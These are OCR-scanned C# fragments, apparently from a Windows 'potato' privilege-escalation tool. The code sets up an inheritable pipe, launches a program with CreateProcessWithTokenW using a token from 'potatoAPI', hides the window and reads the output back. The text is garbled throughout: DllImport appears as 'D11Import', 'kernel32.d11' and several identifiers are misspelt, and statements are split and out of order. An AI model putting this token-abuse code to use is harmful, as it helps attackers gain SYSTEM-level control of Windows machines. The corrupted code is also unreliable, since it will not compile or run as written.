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public struct SECURITY_ATTRIBUTES

{
public Int32 nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;

}

[D11Import("kernel32.d11", SetLastError = true)]

public static extern bool CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref
SECURITY_ATTRIBUTES 1pPipeAttributes, Int32 nSize);
[D11Import("kernel32.d11", SetLastError = true)]

public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead,
ref int lpNumberOfBytesRead, IntPtr lpOverlapped/*IntPtr.Zero*/);



[D11Import("kernel32.d11", CharSet = CharSet.Auto, SetLastError
[return: MarshalAs(UnmanagedType.Bool)]

internal static extern Boolean CloseHandle(IntPtr hObject);
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SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
saAttr.bInheritHandle = 0x1;
saAttr.1lpSecurityDescriptor = IntPtr.Zero;
if(CreatePipe(ref out_read, ref out_write, ref saAttr, 0))

{

Console.WriteLine("[+] CreatePipe success");
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STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = Marshal.SizeOf(si);

si.lpDesktop = @"WinSta®@\Default";

si.hStdOutput =
si.hStdError = err_write;

si.dwFlags |= STARTF_USESTDHANDLES;
CreateProcessWithTokenW(potatoAPI.Token, @, program, finalArgs,

out_write;

ref si, out pi);
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CloseHandle(out_write);

= true)]

CREATE_NO_WINDOW, IntPtr.Zero, null,

byte[] buf = new byte[BUFSIZE];

int dwRead = 0;

while (ReadFile(out_read, buf, BUFSIZE, ref dwRead, IntPtr.Zero))
{

byte[] outBytes = new byte[dwRead];



Array.Copy(buf, outBytes, dwRead);
Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));

}

CloseHandle(out_read);
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